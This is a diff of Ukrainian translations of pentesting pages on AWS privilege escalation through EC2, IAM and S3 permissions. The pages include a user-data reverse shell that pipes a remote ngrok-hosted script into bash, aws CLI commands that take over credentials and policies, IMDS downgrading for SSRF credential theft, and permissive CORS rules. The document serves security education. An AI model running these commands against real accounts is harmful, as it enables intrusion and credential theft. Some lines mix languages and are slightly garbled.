**latest** або **default version**, перезапустить **re-run the instances** за цим шаблоном і виконає rev shell. +Атакувальник із дозволами **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** може створити **нову версію Launch Template** з **rev shell у** **user data** та **будь-якою EC2 IAM Role на ній**, змінити версію за замовчуванням, і **будь-яка Autoscaler group** **що використовує** цей **Launch Template**, яка **сконфігурована** використовувати **latest** або **default version**, повторно **re-run the instances** за цим шаблоном і виконає rev shell. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -176,11 +176,11 @@ aws ec2 modify-launch-template \ --launch-template-name bad_template \ --default-version 2 ``` -**Потенційний вплив:** Пряме privesc до іншої ролі EC2. +**Potential Impact:** Прямий privesc до іншої EC2 role. ### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`) -Зловмисник із дозволами **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** може **створити Launch Configuration** з **IAM Role** та **rev shell** у **user data**, потім **створити autoscaling group** з цієї конфігурації і чекати, поки rev shell **вкраде IAM Role**. +Зловмисник з правами **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateLaunchConfiguration`,`iam:PassRole`** може **створити Launch Configuration** з **IAM Role** та **rev shell** у **user data**, потім **створити autoscaling group** з цієї конфігурації й чекати, поки rev shell **вкраде IAM Role**. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ --desired-capacity 1 \ --vpc-zone-identifier "subnet-e282f9b8" ``` -**Потенційний вплив:** Прямий privesc до іншої EC2 role. +**Потенційний вплив:** Прямий privesc до іншої ролі EC2. ### `!autoscaling` -Набір дозволів **`ec2:CreateLaunchTemplate`** і **`autoscaling:CreateAutoScalingGroup`** **не достатній для ескалації** привілеїв до IAM role, оскільки для прикріплення ролі, вказаної в Launch Configuration або в Launch Template, **потрібні дозволи `iam:PassRole` та `ec2:RunInstances`** (що є відомим privesc). +The set of permissions **`ec2:CreateLaunchTemplate`** and **`autoscaling:CreateAutoScalingGroup`** **aren't enough to escalate** privileges to an IAM role because in order to attach the role specified in the Launch Configuration or in the Launch Template **you need to permissions `iam:PassRole`and `ec2:RunInstances`** (which is a known privesc). ### `ec2-instance-connect:SendSSHPublicKey` -Зловмисник з дозволом **`ec2-instance-connect:SendSSHPublicKey`** може додати ssh-ключ до користувача і використати його для доступу (якщо він має ssh-доступ до інстансу) або для ескалації привілеїв. +Зловмисник із дозволом **`ec2-instance-connect:SendSSHPublicKey`** може додати ssh-ключ до користувача й використати його для доступу (якщо він має ssh доступ до інстансу) або для ескалації привілеїв. ```bash aws ec2-instance-connect send-ssh-public-key \ --instance-id "$INSTANCE_ID" \ --instance-os-user "ec2-user" \ --ssh-public-key "file://$PUBK_PATH" ``` -**Можливий вплив:** Прямий privesc до EC2 IAM ролей, прикріплених до запущених інстансів. +**Можливий вплив:** Пряме privesc до EC2 IAM roles, прикріплених до запущених instances. ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -Зловмисник з дозволом **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** може **додати ssh ключ до послідовного підключення**. Якщо послідовний інтерфейс не увімкнено, зловмиснику потрібен дозвіл **`ec2:EnableSerialConsoleAccess`**, щоб увімкнути його. +Зловмисник з дозволом **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** може **додати ssh-ключ до послідовного підключення**. Якщо послідовний доступ не ввімкнено, зловмиснику потрібен дозвіл **`ec2:EnableSerialConsoleAccess` для його ввімкнення**. -Щоб підключитися до serial-порту, також **потрібно знати username та password користувача** всередині машини. +Щоб підключитися до послідовного порту, також **потрібно знати ім'я користувача та його пароль** на машині. ```bash aws ec2 enable-serial-console-access @@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` -Цей спосіб не дуже корисний для privesc, оскільки для його експлуатації потрібно знати username і password. +Цей спосіб не надто корисний для privesc, оскільки для його експлуатації потрібно знати ім'я користувача та пароль. -**Потенційний вплив:** (Майже неможливо довести) Прямий privesc до EC2 IAM roles, прикріплених до запущених інстансів. +**Потенційний вплив:** (дуже важко довести) Пряме privesc до EC2 IAM roles, прикріплених до запущених інстансів. ### `describe-launch-templates`,`describe-launch-template-versions` -Оскільки launch templates підтримують версіонування, зловмисник з дозволами **`ec2:describe-launch-templates`** та **`ec2:describe-launch-template-versions`** може використати їх для виявлення чутливої інформації, наприклад credentials, що містяться в user data. Для цього наступний скрипт перебирає всі версії доступних launch templates: +Оскільки launch templates підтримують версіонування, атакуючий з правами **`ec2:describe-launch-templates`** та **`ec2:describe-launch-template-versions`** може використати це для виявлення чутливої інформації, наприклад облікових даних, що присутні в user data. Щоб досягти цього, наступний скрипт перебирає всі версії доступних launch templates: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do @@ -252,20 +252,24 @@ done Якщо ми знайдемо `aws_access_key_id` та `aws_secret_access_key`, ми можемо використати ці облікові дані для автентифікації в AWS. -**Potential Impact:** Пряма ескалація привілеїв до IAM user(s). +**Potential Impact:** Пряме підвищення привілеїв для IAM-користувача(ів). -## Посилання +## References - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) -### `ec2:ModifyInstanceMetadataOptions` (зниження захисту IMDS для дозволу викрадення облікових даних через SSRF) -Атакуючий, який може викликати `ec2:ModifyInstanceMetadataOptions` на цільовому EC2 інстансі, може послабити захист IMDS, ввімкнувши IMDSv1 (`HttpTokens=optional`) та збільшивши `HttpPutResponseHopLimit`. Це робить endpoint метаданих інстансу доступним через поширені SSRF/проксі-шляхи з додатків, що працюють на інстансі. Якщо атакуючий зможе викликати SSRF у такому додатку, він зможе отримати instance profile credentials і pivot з їх використанням. -- Необхідні дозволи: `ec2:ModifyInstanceMetadataOptions` на цільовому інстансі (плюс можливість досягти/спровокувати SSRF на хості). -- Цільовий ресурс: працюючий EC2 інстанс з приєднаним instance profile (IAM role). -Приклад команд: + +### `ec2:ModifyInstanceMetadataOptions` (пониження IMDS, щоб дозволити SSRF для викрадення облікових даних) + +Зловмисник, який має можливість викликати `ec2:ModifyInstanceMetadataOptions` на цільовому EC2-інстансі, може послабити захист IMDS, увімкнувши IMDSv1 (`HttpTokens=optional`) і збільшивши `HttpPutResponseHopLimit`. Це робить кінцеву точку метаданих інстансу доступною через звичайні SSRF/проксі-шляхи від застосунків, що працюють на інстансі. Якщо зловмисник зможе викликати SSRF у такому застосунку, він може отримати облікові дані профілю інстансу та pivot з їх використанням. + +- Необхідні дозволи: `ec2:ModifyInstanceMetadataOptions` на цільовому інстансі (плюс здатність досягнути/спровокувати SSRF на хості). +- Цільовий ресурс: запущений EC2-інстанс з приєднаним instance profile (IAM role). + +Commands example: ```bash # 1) Check current metadata settings aws ec2 describe-instances --instance-id \ @@ -292,5 +296,28 @@ aws sts get-caller-identity aws ec2 modify-instance-metadata-options --instance-id \ --http-tokens required --http-put-response-hop-limit 1 ``` -Можливий вплив: крадіжка облікових даних instance profile через SSRF, що призводить до privilege escalation та lateral movement з дозволами ролі EC2. +Можливий вплив: викрадення instance profile credentials через SSRF, що призводить до підвищення привілеїв і латерального переміщення з правами ролі EC2. + +### `ec2:ModifyInstanceMetadataOptions` + +Зловмисник, який має дозвіл ec2:ModifyInstanceMetadataOptions, може послабити захист Instance Metadata Service (IMDS) — наприклад, примусивши використання IMDSv1 (зробивши HttpTokens необов'язковими) або збільшивши HttpPutResponseHopLimit — тим самим полегшуючи ексфільтрацію тимчасових облікових даних. Найбільш релевантний вектор ризику — підвищення HttpPutResponseHopLimit: збільшивши цей ліміт переходів (TTL), кінцева точка 169.254.169.254 перестає бути строго обмеженою простором імен мережі VM і може стати доступною для інших процесів/контейнерів, що дозволяє викрадення облікових даних. +```bash +aws ec2 modify-instance-metadata-options \ +--instance-id \ +--http-tokens optional \ +--http-endpoint enabled \ +--http-put-response-hop-limit 2 +``` +### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute` + +Атакуючий, який має дозволи `ec2:ModifyImageAttribute` та `ec2:ModifySnapshotAttribute`, може ділитися AMIs або snapshots з іншими обліковими записами AWS (або навіть зробити їх публічними), що призведе до розкриття образів або томів, які можуть містити конфігурації, облікові дані, сертифікати або резервні копії. Змінивши дозволи запуску AMI або дозволи `create-volume` для snapshot, атакуючий дає третім сторонам змогу запускати інстанси або монтувати диски з цих ресурсів і отримувати доступ до їхнього вмісту. + +Щоб поділитися AMI з іншим обліковим записом: +```bash +aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region +``` +Щоб поділитися EBS snapshot з іншим обліковим записом: +```bash +aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index 61f98a244..bb193f1c0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -4,7 +4,7 @@ ## IAM -Детальніше про IAM див.: +Для додаткової інформації про IAM дивіться: {{#ref}} ../../aws-services/aws-iam-enum.md @@ -12,9 +12,9 @@ ### **`iam:CreatePolicyVersion`** -Надає можливість створювати нову версію політики IAM, оминаючи необхідність дозволу `iam:SetDefaultPolicyVersion` за допомогою прапорця `--set-as-default`. Це дозволяє визначати власні дозволи. +Надає можливість створювати нову версію політики IAM, обходячи потребу в дозволі `iam:SetDefaultPolicyVersion` шляхом використання прапорця `--set-as-default`. Це дозволяє визначати власні дозволи. -**Exploit Command:** +**Команда експлуатації:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default @@ -23,29 +23,29 @@ aws iam create-policy-version --policy-arn \ ### **`iam:SetDefaultPolicyVersion`** -Дозволяє змінити версію за замовчуванням політики IAM на іншу існуючу версію, що може призвести до підвищення привілеїв, якщо нова версія має більше дозволів. +Дозволяє змінювати версію за замовчуванням політики IAM на іншу існуючу версію, що може призвести до ескалації привілеїв, якщо нова версія має більше дозволів. -**Команда Bash:** +**Bash команда:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**Вплив:** Косвене privilege escalation шляхом надання додаткових дозволів. +**Вплив:** Indirect privilege escalation шляхом надання додаткових дозволів. ### **`iam:CreateAccessKey`** -Дозволяє створювати access key ID і secret access key для іншого користувача, що може призвести до privilege escalation. +Дозволяє створювати access key ID та secret access key для іншого користувача, що може призвести до потенційного privilege escalation. **Exploit:** ```bash aws iam create-access-key --user-name ``` -**Вплив:** Пряме підвищення привілеїв шляхом присвоєння собі розширених дозволів іншого користувача. +**Impact:** Пряме підвищення привілеїв шляхом отримання розширених дозволів іншого користувача. ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Дозволяє створювати або оновлювати login profile, включно зі встановленням паролів для AWS console login, що призводить до прямого підвищення привілеїв. +Дозволяє створювати або оновлювати профіль входу, включаючи встановлення паролів для входу в AWS console, що призводить до прямого підвищення привілеїв. -**Експлойт для створення:** +**Exploit for Creation:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' @@ -55,49 +55,49 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Вплив:** Пряме підвищення привілеїв шляхом входу як "будь-який" користувач. +**Вплив:** Пряме підвищення привілеїв шляхом входу під користувачем "any". ### **`iam:UpdateAccessKey`** -Дозволяє увімкнути відключений access key, що потенційно може призвести до несанкціонованого доступу, якщо атакувач має цей відключений ключ. +Дозволяє увімкнути вимкнений access key, що може надати несанкціонований доступ, якщо зловмисник має цей ключ. **Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**Вплив:** Пряме підвищення привілеїв шляхом реактивації access keys. +**Вплив:** Direct privilege escalation шляхом повторної активації access keys. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Дозволяє створювати або скидати credentials для конкретних AWS сервісів (наприклад, CodeCommit, Amazon Keyspaces), успадковуючи permissions пов'язаного користувача. +Дозволяє генерувати або скидати credentials для конкретних AWS сервісів (наприклад, CodeCommit, Amazon Keyspaces), успадковуючи permissions пов'язаного user. -**Експлойт для створення:** +**Exploit for Creation:** ```bash aws iam create-service-specific-credential --user-name --service-name ``` -**Exploit для Reset:** +**Exploit для скидання:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Вплив:** Пряме підвищення привілеїв в межах дозволів сервісу користувача. +**Вплив:** Пряме підвищення привілеїв у межах дозволів сервісу користувача. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** Дозволяє прикріплювати політики до користувачів або груп, безпосередньо підвищуючи привілеї шляхом успадкування дозволів прикріпленої політики. -**Exploit for User:** +**Exploit для користувача:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` -**Exploit для Group:** +**Exploit для групи:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Вплив:** Пряме підвищення привілеїв до будь-чого, що дозволяє ця політика. +**Вплив:** Пряме підвищення привілеїв до всього, що надає ця політика. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Дозволяє прикріплювати або додавати політики до ролей, користувачів або груп, що дозволяє пряме підвищення привілеїв через надання додаткових дозволів. +Дозволяє приєднувати або додавати політики до ролей, користувачів або груп, що дає змогу здійснити пряме підвищення привілеїв шляхом надання додаткових дозволів. **Exploit for Role:** ```bash @@ -114,7 +114,7 @@ aws iam put-group-policy --group-name --policy-name "" aws iam put-role-policy --role-name --policy-name "" \ --policy-document file:///path/to/policy.json ``` -Ви можете використовувати політику на кшталт: +Ви можете використовувати політику, наприклад: ```json { "Version": "2012-10-17", @@ -127,28 +127,28 @@ aws iam put-role-policy --role-name --policy-name "" \ ] } ``` -**Вплив:** Пряме privilege escalation шляхом додавання дозволів через політики. +**Вплив:** Пряме підвищення привілеїв шляхом додавання дозволів через політики. ### **`iam:AddUserToGroup`** -Дозволяє додати себе до IAM-групи, escalating privileges шляхом успадкування дозволів цієї групи. +Дозволяє додати себе до IAM group, підвищуючи привілеї шляхом успадкування дозволів групи. -**Exploit:** +**Експлойт:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**Impact:** Пряме підвищення привілеїв до рівня дозволів групи. +**Вплив:** Пряме підвищення привілеїв до рівня дозволів групи. ### **`iam:UpdateAssumeRolePolicy`** -Дозволяє змінювати документ assume role policy ролі, що дає змогу виконувати assume role та отримувати пов'язані з нею дозволи. +Дозволяє змінювати документ assume role policy ролі, що дає змогу прийняти роль і отримати пов'язані з нею дозволи. **Exploit:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -Коли політика виглядає наступним чином і надає користувачу дозвіл взяти на себе роль: +Якщо політика виглядає наступним чином і надає користувачу дозвіл assume the role: ```json { "Version": "2012-10-17", @@ -167,9 +167,9 @@ aws iam update-assume-role-policy --role-name \ ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Дозволяє завантажувати публічний SSH-ключ для автентифікації в CodeCommit та деактивувати MFA-пристрої, що може призвести до потенційного непрямого підвищення привілеїв. +Дозволяє завантажувати SSH public key для автентифікації в CodeCommit та деактивувати MFA devices, що може призвести до потенційного непрямого підвищення привілеїв. -**Експлойт для завантаження SSH-ключа:** +**Exploit for SSH Key Upload:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` @@ -177,24 +177,24 @@ aws iam upload-ssh-public-key --user-name --ssh-public-key-body --serial-number ``` -**Вплив:** Опосередковане підвищення привілеїв шляхом надання доступу до CodeCommit або відключення захисту MFA. +**Вплив:** Indirect privilege escalation шляхом надання доступу до CodeCommit або відключення захисту MFA. ### **`iam:ResyncMFADevice`** -Дозволяє ресинхронізацію MFA-пристрою, що потенційно може призвести до опосередкованого підвищення привілеїв через маніпуляції із захистом MFA. +Дозволяє повторно синхронізувати MFA-пристрій, що потенційно може призвести до indirect privilege escalation шляхом маніпулювання захистом MFA. **Команда Bash:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Вплив:** Indirect privilege escalation by adding or manipulating MFA devices. +**Вплив:** Опосередковане підвищення привілеїв шляхом додавання або маніпуляцій з MFA-пристроями. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Маючи ці дозволи, ви можете **змінити XML метадані SAML-з'єднання**. Потім ви можете зловживати **SAML federation**, щоб **login** під будь-якою **role, яка їй довіряє**. +Маючи ці дозволи, ви можете **змінити XML метадані SAML-з'єднання**. Потім ви можете зловживати **SAML federation**, щоб **login** під будь-якою **role**, яка довіряє SAML federation. -Зауважте, що внаслідок цього **legit users won't be able to login**. Однак ви можете отримати XML, вставити свій, login і відновити попередні налаштування. +Зверніть увагу, що через це **легітимні користувачі не зможуть login**. Проте ви можете отримати XML, вставити свій, login і відновити попередні налаштування. ```bash # List SAMLs aws iam list-saml-providers @@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` > [!NOTE] -> TODO: Інструмент, здатний згенерувати метадані SAML і увійти з вказаною роллю +> TODO: Інструмент, здатний згенерувати метадані SAML та виконати вхід з вказаною роллю ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Не впевнений у цьому) Якщо зловмисник має ці **дозволи**, він може додати новий **Thumbprint**, щоб мати можливість увійти у всі ролі, які довіряють провайдеру. +(Не впевнений у цьому) Якщо у зловмисника є ці **дозволи**, він може додати новий **Thumbprint**, щоб мати можливість увійти у всі ролі, що довіряють цьому провайдеру. ```bash # List providers aws iam list-open-id-connect-providers @@ -226,8 +226,35 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -Цей дозвіл дозволяє зловмиснику оновити permissions boundary користувача, потенційно призводячи до ескалації його привілеїв та дозволяючи виконувати дії, які зазвичай обмежені наявними дозволами. +Цей дозвіл дозволяє зловмисникові оновити permissions boundary користувача, що потенційно підвищує їхні привілеї, дозволяючи виконувати дії, які зазвичай обмежені їхніми поточними дозволами. +```bash +aws iam put-user-permissions-boundary \ +--user-name \ +--permissions-boundary arn:aws:iam:::policy/ +Un ejemplo de una política que no aplica ninguna restricción es: + + +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "BoundaryAllowAll", +"Effect": "Allow", +"Action": "*", +"Resource": "*" +} +] +} +``` +### `iam:PutRolePermissionsBoundary` + +Актор з правом iam:PutRolePermissionsBoundary може встановлювати permissions boundary для існуючого role. Ризик виникає, коли хтось із цим дозволом змінює permissions boundary ролі: він може неправильно обмежити операції (що призведе до збоїв у роботі сервісу) або, якщо прикріпить дозволяючий permissions boundary, фактично розширити можливості role і escalate privileges. +```bash +aws iam put-role-permissions-boundary \ +--role-name \ +--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy +``` ## Посилання - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md index e85a797bb..0492ff887 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md @@ -6,9 +6,9 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -Зловмисник, який має такі дозволи щодо цікавих бакетів, може захопити ресурси та ескалувати привілеї. +Attacker з такими permissions над цікавими buckets може hijack resources і escalate privileges. -Наприклад, зловмисник з такими **дозволами над cloudformation bucket** під назвою "cf-templates-nohnwfax6a6i-us-east-1" зможе перехопити розгортання. Доступ можна надати за допомогою такої політики: +Наприклад, attacker з такими **permissions over a cloudformation bucket** під назвою "cf-templates-nohnwfax6a6i-us-east-1" зможе hijack the deployment. Доступ може бути наданий за допомогою наступної policy: ```json { "Version": "2012-10-17", @@ -34,30 +34,29 @@ ] } ``` -І захоплення можливе тому, що існує **невелике часове вікно від моменту завантаження шаблону** в bucket до моменту його **розгортання**. Зловмисник може просто створити **lambda function** в своєму акаунті, яка **тригериться при надсиланні bucket notification**, і **захоплює** **вміст** цього **bucket**. +І hijack можливий, бо існує **невеликий проміжок часу від моменту, коли шаблон завантажується** у bucket до моменту, коли шаблон **розгортається**. Атакуючий може просто створити у своєму акаунті **lambda function**, яка **trigger when a bucket notification is sent**, і **hijacks** **вміст** цього **bucket**. ![](<../../../images/image (174).png>) -Модуль Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) можна використати для автоматизації цієї атаки.\ +Модуль Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) може бути використаний для автоматизації цієї атаки.\ Для більш детальної інформації див. оригінальне дослідження: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` -Це дозволи для **отримання та завантаження об'єктів у S3**. Декілька сервісів всередині AWS (і поза ним) використовують сховище S3 для зберігання **config files**.\ -Нападник з **доступом на читання** до них може знайти **чутливу інформацію**.\ -Нападник з **доступом на запис** до них може **змінити дані, щоб зловживати якимось сервісом і спробувати підвищити привілеї**.\ -Ось кілька прикладів: +Це дозволи для **отримання та завантаження об’єктів у S3**. Декілька сервісів всередині AWS (і поза ним) використовують S3 для зберігання **config files**.\ +Атакуючий з **доступом на читання** до таких файлів може знайти в них **чутливу інформацію**.\ +Атакуючий з **доступом на запис** до них може **змінити дані, щоб зловживати якимсь сервісом і спробувати escalate privileges**.\ +Ось декілька прикладів: -- Якщо EC2 instance зберігає **user data in a S3 bucket**, нападник може змінити її, щоб **виконати довільний код всередині EC2 instance**. +- Якщо EC2 інстанс зберігає **user data in a S3 bucket**, атакуючий може змінити його, щоб **execute arbitrary code inside the EC2 instance**. ### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file -Дуже часто [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state файли зберігаються у blob-сховищах хмарних провайдерів, наприклад AWS S3. Суфікс файлу стану — `.tfstate`, а назви bucket-ів часто видають, що вони містять terraform state файли. Зазвичай у кожному AWS акаунті є такий bucket для зберігання state-файлів, які відображають стан акаунту.\ -Також зазвичай у реальних акаунтах майже всі розробники мають `s3:*`, а іноді навіть бізнес-користувачі мають `s3:Put*`. +Дуже часто terraform state файли зберігаються у blob-сторожуванні провайдерів хмари, напр., AWS S3. Суфікс файлу стану — `.tfstate`, а назви bucket'ів часто теж видають, що вони містять terraform state файли. Зазвичай у кожному AWS акаунті є такий bucket для зберігання файлів стану, які показують стан акаунту. Також у реальних акаунтах майже завжди всі розробники мають `s3:*`, а інколи навіть бізнес-користувачі мають `s3:Put*`. -Отже, якщо ви маєте перераховані дозволи над цими файлами, існує вектор атаки, який дозволяє отримати RCE в pipeline з привілеями `terraform` — у більшості випадків `AdministratorAccess`, що робить вас адміністратором cloud-акаунту. Також цей вектор можна використати для атаки відмови в обслуговуванні, змусивши `terraform` видалити легітимні ресурси. +Тому, якщо у вас є перелічені дозволи на ці файли, існує вектор атаки, що дозволяє отримати RCE у pipeline під привілеями `terraform` — більшість часу це `AdministratorAccess`, що робить вас адміном cloud акаунту. Також ви можете використати цей вектор для denial of service, змусивши `terraform` видалити легітимні ресурси. -Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code: +Дотримуйтесь опису в секції *Abusing Terraform State Files* сторінки *Terraform Security* для безпосередньо використовуваного коду експлойту: {{#ref}} ../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files @@ -65,7 +64,7 @@ Follow the description in the *Abusing Terraform State Files* section of the *Te ### `s3:PutBucketPolicy` -Нападник, який має бути **з того самого акаунту** (інакше викличеться помилка `The specified method is not allowed`), з цим дозволом зможе надати собі більше прав над bucket(ами), що дозволить йому читати, записувати, змінювати, видаляти та робити buckets публічними. +Атакуючий, який має бути **from the same account** (інакше спрацює помилка `The specified method is not allowed will trigger`), з цим дозволом зможе надати собі більше прав над bucket(ами), дозволяючи читати, записувати, змінювати, видаляти та робити bucket'и публічними. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -123,8 +122,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -151,7 +150,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -Атакуючий може зловживати цими дозволами, щоб надати собі більший доступ до конкретних об'єктів всередині buckets. +An attacker може зловживати цими дозволами, щоб надати собі більший доступ до конкретних об'єктів у buckets. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -178,9 +177,29 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -Очікується, що атакувальник з цими привілеями зможе встановити Acl для конкретної версії об'єкта +Очікується, що атакуючий з цими привілеями зможе встановити Acl для конкретної версії об'єкта. ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json ``` +### `s3:PutBucketCORS` + +Зловмисник з дозволом s3:PutBucketCORS може змінювати CORS (Cross-Origin Resource Sharing) конфігурацію bucket'а, яка контролює, які веб-домени можуть отримувати доступ до його кінцевих точок. Якщо він встановить надмірно дозволяючу політику, будь-який вебсайт зможе робити прямі запити до bucket'а і читати відповіді з браузера. + +Це означає, що, потенційно, якщо автентифікований користувач вебзастосунку, розміщеного в цьому bucket'і, відвідає сайт зловмисника, зловмисник зможе скористатися дозволяючою CORS-політикою і, залежно від застосунку, отримати доступ до даних профілю користувача або навіть захопити його обліковий запис. +```bash +aws s3api put-bucket-cors \ +--bucket \ +--cors-configuration '{ +"CORSRules": [ +{ +"AllowedOrigins": ["*"], +"AllowedMethods": ["GET", "PUT", "POST"], +"AllowedHeaders": ["*"], +"ExposeHeaders": ["x-amz-request-id"], +"MaxAgeSeconds": 3000 +} +] +}' +``` {{#include ../../../../banners/hacktricks-training.md}}